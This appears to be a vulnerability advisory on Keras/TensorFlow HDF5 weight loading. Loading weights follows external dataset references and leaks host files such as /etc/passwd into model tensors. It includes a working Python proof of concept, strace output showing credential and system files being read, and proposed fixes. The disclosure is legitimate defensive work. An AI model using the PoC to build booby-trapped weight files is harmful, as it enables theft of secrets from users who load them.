Summary

Impact

• Class: CWE-200 (Exposure of Sensitive Information), CWE-73 (External Control of File Name or Path)
• What leaks: Contents of any readable file on the host (e.g., /etc/hosts, /etc/passwd, /etc/hostname).
• Visibility: Secrets appear in model outputs (e.g., Dense layer bias) or get embedded into newly saved artifacts.
• Prerequisites: Victim executes model.load weights() or tf.keras.models.load model() on an attacker-supplied HDF5 weights file or .keras archive.
• Scope: Applies to modern Keras (3.x) and TensorFlow 2.x lines; legacy HDF5 paths remain susceptible.

Attacker Scenario

1. Initial foothold: The attacker convinces a user (or CI automation) to consume a weight artifact—perhaps by publishing a pre-trained model, contributing to an open-source repository, or attaching weights to a bug report.
2. Crafted payload: The artifact bundles innocuous model metadata but rewrites one or more datasets to use HDF5 external storage or external links pointing at sensitive files on the victim host (e.g., /home/<user>/.ssh/id rsa, /etc/shadow if readable, configuration files containing API keys, etc.).
3. Execution: The victim calls model.load weights() (or tf.keras.models.load model() for .keras archives). HDF5 follows the external references, opens the targeted host file, and streams its bytes into the model tensors.
4. Exfiltration vectors:

• Running inference on controlled inputs (e.g., zero vectors) yields outputs equal to the injected weights; the attacker or downstream consumer can read the leaked data.
• Re-saving the model (weights or .keras archive) persists the secret into a new artifact, which may later be shared publicly or uploaded to a model registry.
• If the victim pushes the re-saved artifact to source control or a package repository, the attacker retrieves the captured data without needing continued access to the victim environment.

Additional Preconditions

• The target file must exist and be readable by the process running TensorFlow/Keras.
• Safe mode (load model(..., safe mode=True)) does not mitigate the issue because the attack path is weight loading rather than object/lambda deserialization.
• Environments with strict filesystem permissioning or sandboxing (e.g., container runtime blocking access to /etc/hostname) can reduce impact, but common defaults expose a broad set of host files.

Environment Used for Verification (2025‑10‑19)

• OS: Debian-based container running Python 3.11.
• Packages (installed via python -m pip install -U ...):
• tensorflow==2.20.0
• keras==3.11.3
• h5py==3.15.1
• numpy==2.3.4
• Tooling: strace (for syscall tracing), pip upgraded to latest before installs.
• Debug flags: PYTHONFAULTHANDLER=1, TF CPP MIN LOG LEVEL=0 during instrumentation to capture verbose logs if needed.

Reproduction Instructions (Weights-Only PoC)

1. Ensure the environment above (or equivalent) is prepared.
2. Save the following script as weights external demo.py:

from  future  import annotations
import os
from pathlib import Path
import numpy as np
import tensorflow as tf
import h5py

def choose host file() -> Path:
  candidates = [
    os.environ.get("KFLI PATH"),
    "/etc/machine-id",
    "/etc/hostname",
    "/proc/sys/kernel/hostname",
    "/etc/passwd",
  ]
  for candidate in candidates:
    if not candidate:
      continue
    path = Path(candidate)
    if path.exists() and path.is file():
      return path
  raise FileNotFoundError("set KFLI PATH to a readable file")

def build model(units: int) -> tf.keras.Model:
  model = tf.keras.Sequential([
    tf.keras.layers.Input(shape=(1,), name="input"),
    tf.keras.layers.Dense(units, activation=None, use bias=True, name="dense"),
  ])
  model(tf.zeros((1, 1))) # build weights
  return model

def find bias dataset(h5file: h5py.File) -> str:
  matches: list[str] = []
  def visit(name: str, obj) -> None:
    if isinstance(obj, h5py.Dataset) and name.endswith("bias:0"):
      matches.append(name)
  h5file.visititems(visit)
  if not matches:
    raise RuntimeError("bias dataset not found")
  return matches[0]

def rewrite bias external(path: Path, host file: Path) -> tuple[int, int]:
  with h5py.File(path, "r+") as h5file:
    bias path = find bias dataset(h5file)
    parent = h5file[str(Path(bias path).parent)]
    dset name = Path(bias path).name
    del parent[dset name]
    max bytes = 128
    size = host file.stat().st size
    nbytes = min(size, max bytes)
    nbytes = (nbytes // 4) * 4 or 32 # multiple of 4 for float32 packing
    units = max(1, nbytes // 4)
    parent.create dataset(
      dset name,
      shape=(units,),
      dtype="float32",
      external=[(host file.as posix(), 0, nbytes)],
    )
    return units, nbytes

def floats to ascii(arr: np.ndarray) -> tuple[str, str]:
  raw = np.ascontiguousarray(arr).view(np.uint8)
  ascii preview = bytes(b if 32 <= b < 127 else 46 for b in raw).decode("ascii", "ignore")
  hex preview = raw[:64].tobytes().hex()
  return ascii preview, hex preview

def main() -> None:
  host file = choose host file()
  model = build model(units=32)

  weights path = Path("weights demo.h5")
  model.save weights(weights path.as posix())

  units, nbytes = rewrite bias external(weights path, host file)
  print("secret text source", host file)
  print("units", units, "bytes mapped", nbytes)

  model.load weights(weights path.as posix())
  output = model.predict(tf.zeros((1, 1)), verbose=0)[0]
  ascii preview, hex preview = floats to ascii(output)
  print("recovered ascii", ascii preview)
  print("recovered hex64", hex preview)

  saved = Path("weights demo resaved.h5")
  model.save weights(saved.as posix())
  print("resaved weights", saved.as posix())

if  name  == " main ":
  main()

3. Execute python weights external demo.py.
4. Observe:

• secret text source prints the chosen host file path.
• recovered ascii/recovered hex64 display the file contents recovered via model inference.
• A re-saved weights file contains the leaked bytes inside the artifact.

Expanded Validation (Multiple Attack Scenarios)

• Build a minimal feed-forward model and baseline weights.
• Create three malicious variants:

1. External storage dataset: dataset references /etc/hosts.
2. External link: ExternalLink pointing at /etc/passwd.
3. Indirect link: external storage referencing a helper HDF5 that, in turn, refers to /etc/hostname.

• Run each scenario under strace -f -e trace=open,openat,read while calling model.load weights(...).
• Post-process traces and weight tensors to show the exact bytes loaded.

openat(AT FDCWD, "/etc/hosts", O RDONLY|O CLOEXEC) = 7
read(7, "127.0.0.1 localhost
", 64) = 21
...
openat(AT FDCWD, "/etc/passwd", O RDONLY|O CLOEXEC) = 9
read(9, "root:x:0:0:root:/root:/bin/bash
", 64) = 32
...
openat(AT FDCWD, "/etc/hostname", O RDONLY|O CLOEXEC) = 8
read(8, "example-host
", 64) = 13

Recommended Product Fix

1. Default-deny external datasets/links:

• Inspect creation property lists (get external count) before materialising tensors.
• Resolve SoftLink / ExternalLink targets and block if they leave the HDF5 file.

2. Provide an escape hatch:

• Offer an explicit allow external data=True flag or environment variable for advanced users who truly rely on HDF5 external storage.

3. Documentation:

• Update security guidance and API docs to clarify that weight loading bypasses safe mode and that external HDF5 references are rejected by default.

4. Regression coverage:

• Add automated tests mirroring the scenarios above to ensure future refactors do not reintroduce the issue.

Workarounds

• Avoid loading untrusted HDF5 weight files.
• Pre-scan weight files using h5py to detect external datasets or links before invoking Keras loaders.
• Prefer alternate formats (e.g., NumPy .npz) that lack external reference capabilities when exchanging weights.
• If isolation is unavoidable, run the load inside a sandboxed environment with limited filesystem access.

Timeline (UTC)

• 2025‑10‑18: Initial proof against TensorFlow 2.12.0 confirmed local file disclosure.
• 2025‑10‑19: Re-validated on TensorFlow 2.20.0 / Keras 3.11.3 with syscall tracing; produced weight artifacts and JSON summaries for each malicious scenario; implemented safe keras hdf5.py prototype guard.